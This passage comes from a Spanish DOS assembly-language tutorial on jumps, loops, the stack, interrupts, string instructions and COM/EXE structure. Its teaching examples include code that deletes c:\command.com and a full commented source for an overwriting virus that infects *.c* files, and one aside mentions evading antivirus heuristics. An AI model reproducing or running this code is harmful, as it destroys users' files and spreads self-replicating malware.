El salto cercano se realiza contando como distancia el contenido de dos
bytes, o sea, que el rango sera desde 32767 a -32768 bytes de distancia.
Y el lejano se realiza contando como distancia el contenido de cuatro
bytes, y,... paso de calcular la distancia, pero es mucha X-)
Por ejemplo, es incorrecto que haya en la direccin 100h una instruccin
que diga JMP SHORT 500h, ya que la distancia no corresponde a un salto
corto. Adem s, el salto dependiendo de que sea cercano, corto o largo se
codifica de manera diferente en modo hexadecimal.
SALTOS CONDICIONALES
Record is aquel IF-THEN-ELSE, o el FOR, o el WHILE-DO ?
Bien, pues aqu est lo que suple a ‚stas instrucciones en lenguaje
ensamblador. Se basan compl‚tamente en los flags, por ello el rollo de la
anterior leccin, pero est n simplificados de tal manera que no os har
falta sab‚roslos de memoria para poder hacerlos.
Los saltos podran resumirse en un modo "Basic" de la manera IF-THEN-GOTO
de tal manera que cuando se cumple una condicin se salta a un sitio
determinado.
He aqu los tipos de saltos condicionales ( las letras en maysculas son
las instrucciones ):
JO: Jump if overflow. Salta si el flag de desbordamiento est a uno
JNO: Jump if not overflow. Salta si el flag de desbordamiento est a
cero.
JC, JNAE, JB: Los tres sirven para lo mismo. Significan: Jump if Carry,
Jump if Not Above or Equal y Jump if Below. Saltan por lo tanto si al
haber una comparacin el flag de acarreo se pone a 1, es entonces
equivalente a < en una operacin sin signo. Vamos, que si se compara as:
CMP 13h,18h, saltar , ya que 13h es menor que 18h. Tambi‚n se suelen usar
para detectar si hubo fallo en la operacin, ya que muchas interrupciones
al acabar en fallo encienden el carry flag.
JNC, JAE, JNB: Otros tres que valen ex ctamente para lo mismo. Jump if
not Carry, Jump if Above or Equal y Jump if Not Below. Saltan por tanto si
al haber una comparacin el flag de acarreo vale 0, o sea, es equivelente
al operador >=. En la comparacin CMP 0,0 o CMP 13h,12h saltar , ya que el
segundo operando es MAYOR O IGUAL que el primero.
JZ o JE: Jump if Zero o Jump if Equal. Salta si el flag de cero est a
1, o sea, si las dos instrucciones comparadas son iguales. Saltara en el
caso CMP 0,0
JNZ o JNE: Jump if Not Zero o Jump if Not Equal. Salta si el flag de cero
est a 0, o sea, si las dos instrucciones comparadas no son iguales.
JBE o JNA: Jump if Below or Equal o Jump if Not Above. Saltara si en
resultado de la comparacin el primer miembro es menor o igual que el
segundo ( <= )
JA o JNBE: Jump if Above o Jump if Not Below of Equal. Justo lo contrario
que la anterior, salta si en el resultado de la comparacin el primer
miembro es mayor al segundo.
JS: Jump if Sign. Salta si el flag de signo est a uno.
JNS: Jump if Not Sign. Salta si el flag de signo est a cero.
JP, JPE: Jump if Parity o Jump if Parity Even. Salta si el flag de
paridad est a uno.
JNP, JPO: Jump if Not Parity, Jump if Parity Odd. Salta si el flag de
paridad est a cero.
JL, JNGE: Jump if Less, Jump if Not Greater of Equal. Salta si en el
resultado de la comparacin, el primer nmero es inferior al segundo, pero
con nmeros con signo.
JGE, JNL: Jump if Greater or Equal, Jump if Not Less. Salta si en el
resultado de la comparacin, el primer nmero es mayor o igual que el
segundo, pero con nmeros con signo.
JLE, JNG: Jump if Lower or Equal, Jump if Not Greater. Salta si en el
resultado de la comparacin, el primer nmero es menor o igual que el
segundo, pero con nmeros con signo.
JG, JNLE: Jump if Greater, Jump if Not Lower or Equal. Salta si en el
resultado de la comparacin, el primer nmero es mayor que el segundo, para
nmeros con signo.
Fiuuuuu !!! Menuda lista. Bueno, aconsejo que os qued‚is de cada
parrafito con uno, aunque algunos se usen poco, pero como veis para una
misma instruccin hay varios,... y para gustos no hay nada escrito, lo mismo
os da usar JG que JNLE por ejemplo.
Vamos, que despu‚s de toda ‚sta aridez me temo que voy a tener que poner
algunos ejemplos de los m s utilizados:
MOV AX,1111h
MOV BX,1112h
CMP AX,BX ; AX es menor que BX ( toma perogrullada )
JB tirapalante ; Saltar a tirapalante
HLT ; Esta orden bloquea el ordenador, halt
tirapalante: DEC BX ; Ahora BX valdr 1111h
CMP AX,BX ; Ahora valen igual
JNE Acaba ; No saltar , ya que son iguales
JE Continua ; Esta vez si
Continua: DEC BX ; Ahora BX vale 1110h
CMP AX,BX
JE Acaba ; No son iguales, por tanto no saltar
JB Acaba ; No es menor, tampoco salta
JG Acaba ; Es mayor, ahora SI saltar
Acaba: XOR AX,AX
XOR BX,BX ; AX y BX valen ahora cero.
Espero que con ‚sto haya aclarado un poco la utilidad de los saltos.
Evidentemente, ahora al escribir sabemos cuando uno es menor o mayor, pero
a veces mediante interrupciones sacaremos valores que no conoceremos al ir
a programar, o quiz lo hagamos de la memoria, y querremos comprobar si
son iguales, etc‚tera.
Por cierto, que en los saltos condicionales se puede hacer como en los
incondicionales, o sea, formatos como:
JE 0022h
JNE 0030h
JNO AL
Sin embargo, estamos limitados a saltos cortos, o sea, de rango a 127
bytes hacia adelante o 128 hacia atr s, no pudiendo superar ‚sta distancia.
BUCLES
He aqu el equivalente al FOR-TO-NEXT en ensamblador, se trata de la
orden LOOP. Lo que hace ‚sta orden es comparar CX con cero; si es igual,
sigue adelante, si no lo es, vuelve al lugar que se indica en su operando
decrementando CX en uno. Por lo tanto, CX ser un contador de las veces
que ha de repetirse el bucle. Vamos con un ejemplo:
MOV CX,0005h
bucle: INC DX
CMP DX,0000h
JE Acaba
LOOP bucle
Acaba: ...
Veamos como funciona ‚ste programa. Se mueve a CX el valor 5h, que van
a ser las veces que se repita el bucle. Ahora, llegamos al cuerpo del bucle.
Se incrementa DX y se compara con 0, cuando es igual salta a "Acaba". Si
llega a la orden LOOP, CX se decrementar y saltar a bucle. Esto se
repetir cinco veces. En fin, que el programa acabar en el grupo de
instrucciones de "Acaba" cuando la comparacin de un resultado positivo o
cuando el bucle se haya repetido cinco veces.
Tambi‚n tiene la limitacin de que slo realiza saltos cortos, y tambi‚n
puede usarse como el JMP, de la forma:
LOOP 0003h
LOOP [AL]
En resumen, la orden LOOP es la equivalente a CMP CX,0/JNZ par metro,
donde par metro es el operando de LOOP.
Y en fin, hemos terminado con los condicionales. Parece muy rido, pero
luego seguramente usar‚is poco m s que un JZ o JNZ al principio,... y el
LOOP, claro. Ya no nos queda mucho. La explicacin de la pila y las
interrupciones, y ya podr‚is empezar a programar.
Ŀ
LA PILA
Para explicar ‚sta parte, voy a hacerlo lo m s mundanamente posible y
sin mucho t‚rmino complicado, porque las explicaciones muchas veces suelen
liar m s sobre una cosa tan sencilla como es ‚sto.
La pila es una especie de "almac‚n de variables" que se encuentra en una
direccin determinada de memoria, direccin que viene indicada por SS:SP,
como mencion‚ antes, registros que son SS de segmento de pila y SP de
Offset de ‚sta.
Entonces nos encontramos con dos rdenes b sicas respecto a la pila, que
son PUSH y POP. La rden PUSH empuja una variable a la pila, y la rden POP
la saca. Sin embargo, no podemos sacar el que queramos, no podemos decir
"quiero sacar el valor de DX que he metido antes y que fue el cuarto que
met", por ejemplo.
La estructura de la pila se denomina LIFO, siglas inglesas que indican
'Last In First Out'. Esto significa que al hacer un POP, se sacar el
ltimo valor introducido en la pila. Vamos con unos ejemplitos majos:
PUSH DX ; Mete en la pila el contenido de DX
PUSH CX ; Y ahora el contenido de CX
POP AX ; Ahora saca el ltimo valor introducido ( CX )
;y lo coloca en AX.
POP BP ; Y ahora saca en valor anterior introducido, que
;es el contenido de DX cuando hicimos el PUSH DX
;y se lo asigna a BP.
Ahora, una rutina algo m s detallada:
MOV DX,0301h ; DX vale ahora 0301 hexadecimal.
PUSH DX ; Empuja DX a la pila. SP se decrementa en dos.
MOV DX,044C4h ; Ahora DX vale 044C4h
POP CX ; Y con ‚sto, CX vale 0301 hexadecimal, el valor
;que habamos introducido con anterioridad.
Dije en la segunda lnea: SP se decrementa en dos. Cuando por ejemplo
ejecutamos un .COM, SS es el segmento del programa ( o sea, igual que CS,
y si no han sido modificados, DS y ES ), y SP apunta al final, a 0FFFFh.
Cuando empujamos un valor a la pila, SP se decrementa en dos apuntando a
0FFFDh, y en ‚sta direccin queda el valor introducido. Cuando lo saquemos,
se incrementar de nuevo en dos el valor de SP, y el valor se sacar de
la pila.
Se puede operar con ‚sta instruccin con los registros AX, BX, CX, DX,
SI, DI, BP, SP, CS, DS y ES, sin embargo no se puede hacer un POP CS, tan
slo empujarlo a la pila.
He aqu un ejemplo de lo que hace en realidad un POP en t‚rminos de MOVs,
aunque sea un gasto intil de cdigo, tiene su aplicacin por ejemplo para
saltarse la heurstica en un antivirus, que busca un POP BP y SUB posterior,
bueno, supongo que ya aprender‚is a aplicarlo cuando ve is el curso de
virus/antivirus:
Partamos de que hay cierto valor en la pila que queremos sacar.
MOV BP,SP ; Ahora BP es igual al offset al que apunta SP
MOV BP,Word ptr [BP] ; Y ahora BP vale el contenido del offset al
;que apunta, que al ser el offset al que apunta
;el de pila, ser el valor que sacaramos
;haciendo un POP BP.
ADD SP,2 ; Para acabarlo, sumamos dos al valor de offset
;de la pila.
Y ‚sto es lo que hace un POP BP, smplemente. Para ver lo que hace un PUSH
no habra m s que invertir el proceso, lo pongo aqu, pero sera un buen
ejercicio que lo intent rais hacer sin mirarlo y luego lo consult rais, por
ejemplo introduciendo DX a la pila.
SUB SP,2
MOV BP,SP
MOV Word ptr[BP],DX
Como ltima recomendacin, hay que tener bastante cuidado con los PUSH
y POP, sacar tantos valores de la pila como se metan, y estar pendiente de
que lo que se saca es lo que se tiene que sacar. La pila bien aprovechada
es fundamental para hacer programas bien optimizados, ya que entre otras
cosas las instrucciones PUSH y POP slo ocupan un byte.
Es por ejemplo mucho mejor usar un PUSH al principio y un POP al final
en vez de dejar partes de cdigo para almacenar variables, m s velocidad
y menos tamao.
Y finalmente, hay otras dos rdenes interesantes respecto a la pila,
PUSHF y POPF, que empujan el registro ( 16 bits ) de flags y lo sacan,
respectivamente
LA ORDEN CALL
-
Se trata de una rden que se utiliza para llamar a subrutinas, y est
relacionada con la pila, por lo que la incluyo en ‚sta leccin del curso.
La sintaxis del Call es casi la de un Jmp, pudi‚ndose tambi‚n utilizar
etiquetas, direcciones inmediatas o registros. Si compar semos un Jmp con
un 'GOTO', el Call sera el 'GOSUB'. Es una instruccin que nos va a servir
para llamar a subrutinas.
Su forma de actuacin es sencilla. Empuja a la pila los valores de CS e
IP ( o sea, los del punto en el que est en ese momento el programa ),
aunque IP aumentado en el tamao del call para apuntar a la siguiente
instruccin, y hace un salto a la direccin indicada. Cuando encuentre una
instruccin RET, sacar CS e IP de la pila, y as retornar al lugar de
origen. Veamos un ejemplo:
xor ax,ax ; Ax vale ahora 0
Call quebi‚n ; Mete CS e IP a la pila y salta a quebi‚n
Int 20h ; sta rden sale al dos, explicar‚ todo ‚sto
;en el prximo captulo, slo que sep is eso
quebi‚n: mov ax,30h
Ret ; Vuelve a la instruccin siguiente al punto
;de llamada, o sea, a la de "INT 20h"
La rden RET puede tener tambi‚n varios formatos: RETN o RETF, segn se
retorne desde un sitio cercano ( RETN, near ) o lejano ( RETF, far ). No
obstante, pr cticamente no lo usaremos, la mayora de las veces se quedar
en RET y punto.
Existe entonces la llamada directa cercana, en la que slo se introduce
IP ( lgicamente, apuntando a la rden siguiente al Call ), y al retornar,
lo hace en el mismo segmento, y la llamada directa lejana, en la que se
introducen CS e IP ( y luego se sacan, claro ). A veces se podran producir
confusiones, con lo que quiz pueda ser conveniente usar RETN y RETF
respectivamente.
Y el prximo captulo empezamos con interrupciones,... venga, que ya
queda menos para poder programar ;-)
Ŀ
INTERRUPCIONES
A ‚stas alturas del curso estar‚is diciendo: bueno, vale, he aprendido
a mover registros, a meterlos en la pila, etc,... pero cmo acto con
el exterior ?. Porque por mucho registro que tenga no voy a escribir por
ejemplo un car cter en la pantalla. Bieeeeeen, pues aqu est , son las
interrupciones.
La primera cosa que tenemos que hacer es saber como funcionan las
interrupciones. Son principalmente subrutinas de la BIOS o el DOS que
pueden ser llamadas por un programa, por ejemplo la funcin 21h est
dedicada especialmente a tratamiento de archivos.
Para utilizarlas, tendremos que poner los registros con un determinado
valor para que se realice el propsito que buscamos. Cada interrupcin
tiene varias funciones, y podremos elegir cual ejecutamos segn el valor
de AH.
El formato de la rden es INT X, donde X puede ir desde 1 a 255 ( aunque
normalmente se escribe en formato hexadecimal ).
Cuando se ejecuta una interrupcin, el ordenador empuja todos los flags
a la pila, un 'PUSHF', y despu‚s mira en la tabla de vectores de
interrupcin, de la que hablar‚ m s adelante, para transferir el control
del programa al punto que indica esa tabla respecto a la interrupcin
pedida mediante un 'CALL'. Cuando la interrupcin ha terminado, acabar con
un IRET, que es una combinacin entre 'POPF' y 'RET'.
La tabla de Vectores de Interrupcin es una tabla de direcciones para
la direccin a la que debe saltar cada interrupcin. Comienza en la
direccin de memoria 0000:0000 y acaba en la 0000:0400, siendo cada
direccin de 4 bytes de longitud. Para averiguar cual corresponde a cada
interrupcin, no hay m s que multiplicar el nmero de interrupcin por
cuatro. Por ejemplo, la direccin de memoria donde est el punto al que
salta una INT 21h, es 0000:21h*4. Ah se contienen el CS e IP a los que
saltar el programa cuando se ejecute la interrupcin. Estos valores, son
modificables, pero hay que tener mucho cuidado con ello.
Y ahora voy a ponerme algo m s mundano, si no hab‚is entendido ‚sto al
menos saber 'qu‚ hace', quiz as adem s los que os hay is perdido pod is
retornar m s adelante. Vamos con un ejemplo de uso de una interrupcin:
jmp mesaltomsg ; Esto lo hago porque ejecutar el texto
;puede traer consecuencias imprevisibles
archivo: db 'c:\command.com',0 ; el 0 que va despu‚s es necesario
; en operaciones con archivos, o no
; funcionar .
mesaltomsg: mov ax,4100h ; Al ir a llamar a la interrupcin, AH
;( que aqu es 41h ), indica la funcin
;de dicha interrupcin que se quiere
;ejecutar. En ‚ste caso es la 41h, que
;significa borrar un fichero
mov dx,OFFSET archivo ; En dx cargamos la direccin del
;offset con la etiqueta archivo,
;o sea, si la etiqueta archivo est
;en :0014h, ese ser ahora el valor
;de DX. Como vemos, no slo basta
;con tener AX actualizado para poder
;usar la interrupcin.
Int 21h ; Ejecutamos la interrupcin 21h en
;su funcin 41h, borrar un fichero.
Voy a detallar un poco m s, por qu‚ en dx pongo la direccin del offset
de archivo ?. Porque la funcin de la Int21h que busco necesita par metros.
Cuando AH vale 41h, funcin de borrar fichero, necesita ciertos par metros,
y ‚sto es que en DS:DX se encuentre la cadena de caracteres que indica el
fichero a buscar.
Como DS vale lo mismo que CS si no lo hemos cambiado, tan slo hace
falta hacer que DX apunte al lugar donde est la cadena de caracteres con
el nombre del archivo.
Vamos con otro ejemplo. Ahora, queremos cambiar el nombre de un fichero.
La interrupcin para ello es la 21h, y la funcin que queremos es la 56h,
con lo que en AH tendremos que poner ese valor.
El par DS:DX, es la direccin de la cadena que contiene la unidad, camino
y nombre del fichero, tal y como suceda en el anterior ejemplo, y ES:DI
la direccin de la cadena que contiene la nueva unidad, camino y nombre.
Vamos con el programa:
Mov ah,56h ; No hace falta inicializar al, como
;hicimos antes, no tiene ninguna
;importancia su contenido.
Mov dx,OFFSET anterior ; Ds ya est apuntando a ‚ste segmento,
;slo tendremos que asignar Dx
Mov di,OFFSET posterior ; Di apunta al nuevo nombre, Es no ha
;sido variado de ninguna manera.
Int 21h ; Si en ‚ste directorio de halla el
;archivo de DS:DX, cambia su nombre al
;de ES:DI
Int 20h ; Devuelve el control al Ms-dos.
anterior: db 'berilio.com',0
posterior: db 'magnesio.com',0
En resumen, cambiar el nombre del archivo berilio.com a magnesio.com
si ‚ste se encuentra en el directorio.
Hay innumerables cosas que se pueden hacer con las interrupciones:
escribir textos, leer del teclado, cambiar modos de pantalla, escribir
en archivos, leerlos, ejecutarlos,... demasiado para ponerlo aqu, aunque
al final del curso os podr‚is encontrar m s ejemplos.
Recomiendo tener a mano la lista de interrupciones de Ralf Brown, que
es una aut‚ntica biblia de las interrupciones, o las guas Norton. El caso
es que es imposible sab‚rselas de memoria, y es mejor tener una buena
obra de consulta al lado. La lista de interrupciones de Ralf Brown es
f cil de encontrar, y ocupa cerca de un disco completo, con largos archivos
de texto, y se actualiza de vez en cuando.
Para dar una idea en general y que sep is cmo buscar lo que necesit is,
aqu est n las interrupciones que m s se usan y sus funciones en general,
smplemente para orientaros al buscar.
Interrupcin 21h: Apuesto a que es la que m s utilizar‚is, con ella se
consigue el acceso a la fecha y hora del sistema, gestin de ficheros,
funciones de dos referidas al disco, para la gestin de directorios, y
algunas de lectura/escritura en el teclado y pantalla, adem s de la gestin
de la memoria.
Interrupcin 13h: Funciones de BIOS que se refieren al disco.
Interrupcin 10h: Gestin de la pantalla en modo alfanum‚rico, gestin
de la pantalla en modo gr fico.
Interrupciones 25h y 26h: Funciones de dos de acceso directo al disco,
escribir y leer sectores...
Interrupcin 17h: Impresora.
Ŀ
Resto de rdenes
Bueno, pues parece que nos vamos acercando al final,... ahora voy a
contar con algo de detalle del resto de las rdenes en lenguaje ensamblador
las m s importantes y que m s merezcan conocerse:
XCHG
La funcin de xchg es la de intercambiar valores entre registros y
memoria, de tal manera que puede funcionar as:
XCHG reg,reg ( XCHG AX,BX )
XCHG mem,reg o reg,mem ( XCHG AX,Word ptr 0000:0084h )
LEA
"Load Effective Adress", sirve al usar como puntero a DX ( recordemos,
al hacer que apuntase hacia un offset que nos interesaba ), y como
sustituyente al MOV en ‚stos casos especialmente.
Imaginemos que el offset al que queremos apuntar es Sunset+bp-si, o sea,
el lugar donde est la etiqueta "Sunset" m s el valor de bp menos el de si.
Si lo hiciesemos con movs quedara tal que as:
MOV dx,Offset sunset
ADD dx,bp
SUB dx,si
La rden LEA integra ‚stas operaciones:
LEA dx,[Sunset+Bp-Si]
Pudiendo usar en el operando cualquier direccin de memoria y pudiendo
sum rsele registros.
LDS y LES
El puntero anteriormente utilizado nos puede servir mucho si lo que
pretendemos localizar se halla en el mismo segmento que el programa,... pero
si est en otro lugar, tendremos tambi‚n que averiguar de alguna manera su
segmento. Para ‚sto se usan LDS y LES.
Teniendo la misma sintaxis que LEA, aunque pudiendo poner un registro
de segmento ( pej, Lea SI,CS:[DI+3] ), sus resultados los ligeramente diferentes.
Adem s de ponerse en el operando destino ( SI en el ejemplo anterior ) el
Desplazamiento u Offset, el Segmento indicado en el operando origen quedar
en DS o ES segn la rden sea LDS o LES.
Por ejemplo, si hacemos:
LDS DX,0000:[DI-23]
En DX quedar la direccin a la que apunta DI-23, y en DS quedar 0000,
el segmento en que se encuentra.
Igualente suceder en ES:
LES SI,3342h:[Bp]
SI valdr BP, y ES tomar el valor de 3342h.
DELAYs
A veces nos puede interesar perder algo de tiempo, y ‚sta rden tiene
adem s luego m s utilidades,... es la rden REP ( repeat ). Se repite, y
cada vez que lo hace disminuye CX en una unidad. Se usa especialmente para
rdenes como Movsb, etc, que vienen ahora. Pero smplemente que entend is
que si hago:
Mov CX,300h
Rep
La rden rep se repite 300h veces, y cuando la supera CX vale 0.
INSTRUCCIONES DE CADENA
Son un subconjunto de instrucciones muy tiles para diversas funciones:
inicializar zonas de memoria, copiar datos de una zona a otra, encontrar
valores determinados o comparar cadenas, etc etc.
Su comportamiento depende del flag de direccin del que habl bamos unas
lecciones m s atr s, y que se puede cambiar dir‚ctamente con ‚stas dos
instrucciones:
STD: SeT Direction flag, lo pone a uno.
CLD: CLear Direction flag, lo pone a cero.
Las instrucciones que vamos a usar como de cadena siempre tienen una S
de String al final, y casi siempre adem s una B o una W indicando Byte o
Word ( el tamao ). Es tan comn el uso de la B o la W que siempre lo
pondr‚ as ( es mejor especificar para prevenir posibles fallos )
Y ‚stas son:
LODSB/LODSW
Lee un byte/palabra en la direccin de memoria dada por DS:SI y la
almacena dependiendo de su tamao en AL o AX. Si el flag de direccin est
a cero, segn sea byte o palabra, SI aumentar en 1 o 2 unidades ( para
poder continuar la operacin de lectura ). Si est a uno el flag, se
decrementar en 1 o 2 unidades dependiendo del tamao ( byte/palabra )
STOSB/STOSW
Es el equivalente a "grabar" si lo anterior era "cargar". Almacenar el
contenido de AL o AX ( como siempre, dependiendo del tamao ) en ES:DI,
copiando segn si es B o W uno o dos bytes cada vez que se ejecute.
Si el flag de direccin est a cero, DI aumentar cada vez que se
realice la rden en una o dos unidades ( dependiendo tel tamao, B o W ).
Si est a uno, decrecer .
MOVSB/MOVSW
Mueve el byte o palabra contenido en la direccin de memoria a la que
apunta DS:SI a la direccin de memoria de ES:DI.
Si el flag de direccin est a 0, con cada MOVS que realicemos SI y DI
aumentar n en una unidad ( MOVSB ) o dos ( MOVSW ). Si est a uno, se
decrementar n de igual manera.
REP
Acabo de hablar sobre ‚l,... pues bien, si se utiliza como operando suyo
una de ‚stas rdenes, la repetir CX veces. Por ejemplo, si queremos
copiar digamos la tabla de vectores de interrupcin a un lugar que hemos
reservado:
cld ; A asegurarnos de que el flag de direccin est‚
;a cero.
mov cx,400h
xor dx,dx ; pone dx a 0
push dx
pop ds ; No est permitido hacer xor ds,ds, por lo que
;metemos dx, que vale 0, en la pila, y sacamos
;DS valiendo 0.
xor si,si ; SI que valga 0.
push cs
pop es ; Vamos a asegurarnos de que ES valga CS, o sea,
;el segmento en el que est el programa ahora.
mov di,buffer ; DI apunta al lugar donde vamos a guardar la
;tabla.
rep movsb ; Repite ‚sto 400h veces, y cada vez que lo hace
;incrementa DI y SI.
int 20h ; Acaba la ejecucin
buffer: db 400h dup (?) ; Esto deja un espacio de 400h bytes que nos
;va a servir para almacenar la tabla de
;vectores de interrupcin.
Bueno, pues espero que con ‚ste programa ejemplo quede todo clarito :))
Por supuesto, es muy mejorable. Podemos para empezar reducir el 400h a 200h
en CX, y hacer un rep movsw, con lo que trasladar‚mos de palabra en palabra
las instrucciones.
DATOS
Acabamos de ver algo nuevo, qu‚ significa eso de 'db' que aparece en
el anterior problema ?
El objetivo de ‚sta orden, al igual que DW o DD es dejar espacio para
datos en una determinada zona del programa, o introducirlos ah. Voy a
mostrar algunos ejemplos:
db 'A saco con todos$'
DB se refiere a un byte de longitud, y se usa por ejemplo para guardar
una cadena. Ver‚is que pongo un $ al final de la cadena, bien, ‚sto ha
de hacerse siempre, ya que al utilizar interrupciones para mostrar una
cadena de caracteres por pantalla, el ordenador lee desde el punto
indicado hasta el $, que es cuando se para.
dw 0ffffh ; W de word, palabro... almacena un nmero en
;esa posicin
db 'A',' ','s','a','c','o' ; Variaciones sobre el tema, va
;presentandolo car cter a car cter.
db dup 5 (90h)
A ver, que ‚sto ha sido m s raro, verdad ?. Significa que repite 5
veces el car cter o nmero que hay entre par‚ntesis, o sea, que ‚sto
colocara cinco '90h' en ese sitio.
dw dup 300h (?)
Deja un espacio de trescientas palabras ( seiscientos bytes ) para
poder almacenar cosas. Su contenido no tiene importancia, se trata de
lugar de almacenamiento ( como el lugar en el que copiabamos la tabla de
vectores en el ejercicio anterior )
Tambi‚n existe DQ, Define Quadword. Os dejo que imagin‚is ;)
ACCESO A PUERTOS I/O
Smplemente describir‚ las instrucciones que permiten mandar y recibir
datos de ellos; IN y OUT.
Los puertos son todos de ocho bits, aunque se pueden usar palabras para
su lectura. Existen 64K puertos, o sea, el valor m ximo de cualquier registro de
Offset.
IN lee un byte o una palabra del puerto y lo almacena en AX/AL, tal que
as:
IN AL,DX ; Lee del puerto DX y almacena en AL
IN AX,DX ; Lee de DX y almacena en AL el valor, leyendo
;AH desde el puerto DX+1
DX es lo nico que puede variar siendo otro registro, no se permite en
AX/AL
OUT manda un byte al puerto, pudi‚ndose hacer as ( mediante el registro
AX o AL ):
OUT DX,AL ; Al puerto DX, manda el valor contenido en AL
OUT DX,AX ; A DX manda el contenido de AL, y despu‚s en
;el puerto DX+1 enva AH. Observese ‚sta
;peculiaridad tanto aqu como en el anterior.
Como antes, AL o AX no pueden ser otra cosa, DX podra si ser otro
registro ( o dir‚ctamente un nmero )
ANULACION DE INTERRUPCIONES
Hay veces que necesitamos que mientras se est ejecutando nuestro
cdigo no se puedan ejecutar interrupciones, debido a que estamos haciendo
algo delicado, como por ejemplo tocando la tabla de vectores de
interrupcin, y no queremos que se ejecute una interrupcin que tenemos
a medio cambiar.
No tendremos m s que poner la rden
CLI
O CLear Interrupts, que lo que hace es que hasta que encuentre una rden
STI ( SeT Interrupts ), no se puedan ejecutar interrupciones.
Y bueno, ‚sto casi se ha acabado !. Slo faltan las estructuras de
COM y EXE para que pod is empezar a programar, que consig is un programa
ensamblador ( Tasm, A86, Masm,... recomiendo el primero ), y que pill‚is
las Interrupciones de Ralph Brown ( que no las encuentras, si est n en
todos lados ! ? ), y ale, a hacer cosas ;D
վ ESTRUCTURA COM Ը
;
Los archivos COM tienen como m ximo 65536 bytes de extensin, que
"curiosamente" coinciden con 0FFFFh, que es el m ximo valor que puede tener
un registro de 16 bits.
Por lo tanto, cualquier direccin dentro del COM tendr en comn el
registro de segmento, y con el de desplazamiento se podr averiguar el
lugar donde se encuentra cualquier cosa en el archivo.
El .COM tiene tambi‚n una zona normalmente que va de 0 a 100h en la
que tiene el PSP, zona de datos en la que entre otras cosas est la Dta
( para trabajar con ficheros, a partir del Offset 80h )
Pongo un ejemplo ahora de cabecera, y despu‚s un programa COM completo
pero sencillito, aunque con cosas que se puedan comentar ( para que no se
os olviden cosillas mientras )
-----------------
.MODEL TINY ; Indica que es pequeito ;)
.CODE ; Cdigo
ORG 100h ; sta es la direccin a partir de la
;cual empieza el cdigo, normalmente es
;100h para dejar espacio al PSP
Start: jmp Entrada
[Datos]
Entrada PROC
[Codigo]
Entrada ENDP
END Start
-------------------
Entrada es un procedimiento al que se puede llamar con por ejemplo el
salto del principio. No son necesarios, y quiz a m s de uno le ayude
quit rselos de enmedio. Si hay que cerrar el Start, que abre el programa.
Hay m s lneas que se pueden poner en la cabecera, como MODEL en vez de
ser TINY que sea SMALL por ejemplo, o:
CODIGO SEGMENT CODE
ASSUME DS:CODIGO ES:CODIGO
Lo que abre un segmento de cdigo ( o sea, el Com ), y hace que los
registros de segmento apunten a ‚l. Al final habra que poner un:
CODIGO ENDS
Justo antes del "END Start" pero despu‚s de un posible "Entrada ENDP"
Aqu va un ejemplo de programa .COM en lenguaje ensamblador. Se trata
de un virus, o m s bien, algo que podra ser un virus, ya que es de tipo
sobreescritura. El caso es que al utilizar interrupciones, ser pequeito
y tal, es lo ideal para comentar en ‚ste archivo.
Aclaro ahora que mis intenciones no son las de distribuir ‚stas cosas
para que la gente suelte virus por ah, es m s, lo que ahora presento no
llegara precisamente muy lejos.
virus segment
org 100h
assume cs:virus ; No es muy necesario: CS va a ser el
; virus
len equ offset last-100h ; Nueva orden que no coment‚ !. Len
;es una variable que se va a utilizar
;en el programa, y equ se encarga de
;asignarla. Hace que len valga la
;direccin del offset de "last"
;rest ndole 100h ( el PSP ). Se trata
;del tamao del programa
start: mov ah,04eh ; En dx est la com_mask, y se va a usar la
xor cx,cx ;funcin 4eh de la interrupcin 21h, que
lea dx,com_mask ;es encontrar el primer archivo del
int 21h ;directorio de la forma que hay en la
;direccin a la que apunta dx, o sea, que
;buscar el primer archivo .c* ( pretende
;encontrar un com )
open_file: mov ax,3d02h ; La funcin 3d abre el archivo, y AL puesto
mov dx,9eh ;a 2 indica que se abrir para lectura y
int 21h ;escritura; a uno indicara slo lectura por
;ejemplo. Dx vale 9eh porque es el valor
;de la DTA, donde se contienen los datos
;del archivo encontrado.
Infect: mov cx,len ; En cx queda la longitud del virus
lea dx,start ; Y dx apunta al principio del virus
mov ah,40h ; La funcin 40h de la Int21h consiste en la
int 21h ;escritura en el archivo; cx indica la
;cantidad de bytes a escribir, y dx la
;direccin a partir de la cual se copian. Por
;lo tanto, se copiar todo ‚ste cdigo al
;principio del programa abierto,
;sobreescribiendo lo que hubiese
;anteriormente
Next: mov ah,3eh ; Cierra el archivo, funcin 3eh de la Int21h
int 21h
mov ah,4fh ; Busca el siguiente archivo
int 21h
jnb open_file ; Si lo encuentra, salta a open_file, para
;abrir e infectar.
com_mask: db "*.c*",0 ; El 0 del final es necesario siempre que se
;opera con archivos.
last: db 090h ; Se trata de un byte para marcar el final
;del virus ( para el equ del principio )
virus ends
end start
En resumen, lo que hace es buscar el primer archivo que cumpla ser
*.c* del directorio, lo infecta y busca otro. Si lo encuentra, tambi‚n
lo infectar , as hasta que no quede ninguno.
Una cosa que os puede parecer curiosa es que use jnb para saber si hay
algn archivo m s en el directorio. Bien, ‚sto lo hace porque cuando el
resultado de la interrupcin es un error ( como por ejemplo que no haya
ningn archivo ), el flag de acarreo se pone a uno. Por tanto, salta con
jnb si no ha habido ningn fallo.
վ Estructura EXE Ը
;
Los ficheros EXE tienen una estructura diferente a los Com. Aparte de
tener una cabecera especial, pueden ocupar m s de un segmento, diferenci n-
dose segmentos de datos, cdigo y pila.
La cabecera EXE va como sigue ( no es necesario para hacer uno, pero
tampoco se le tienen que hacer ascos a la informacin ;D )
Offset Descripcin
00 Marca de EXE (MZ = 4D5A). Es obligatorio que ‚stos dos bytes sean
MZ o ZM, sino no funcionar
02 Nmero de bytes en la ltma p gna del programa
Todas las p ginas son de 512 bytes, menos la ltima que ser menos.
04 Nmero total de paginas de 512 bytes
06 Nmero de elementos de la tabla de elementos reubicables.
08 Tamao de la cabecera en p rrafos de 16 bytes.
0A Mnimo de memoria requerido adem s de la necesaria para cargar
el programa.
0C M ximo de memoria requerido. Normalmente los linkadores ponen
FFFFh aqu para que el DOS de toda la memoria disponible al
programa.
0E SS inicial
10 SP inicial
12 Checksum: complemento a 1 de la suma de los valores de 16 bits del
programa, excluido este campo.
14 IP inicial
16 CS inicial
18 Offset de la Tabla de Reubicacin
1A Nmero de Overlays generados. S es 0 es un nico EXE.
Visto ‚sto, smplemente que os qued‚is con los offset 14 y 16, que son
CS:IP del EXE donde empieza la ejecucin. Ahora pongo un listado de
tpico EXE:
; LISTADO DE EJEMPLO DE EXE
PILA SEGMENT STACK 'STACK'
DW 150 DUP (?) ; Ponemos 150 palabras ( 300 bytes ) de
;pila
PILA ENDS ; Esto ha sido el segmento dedicado a
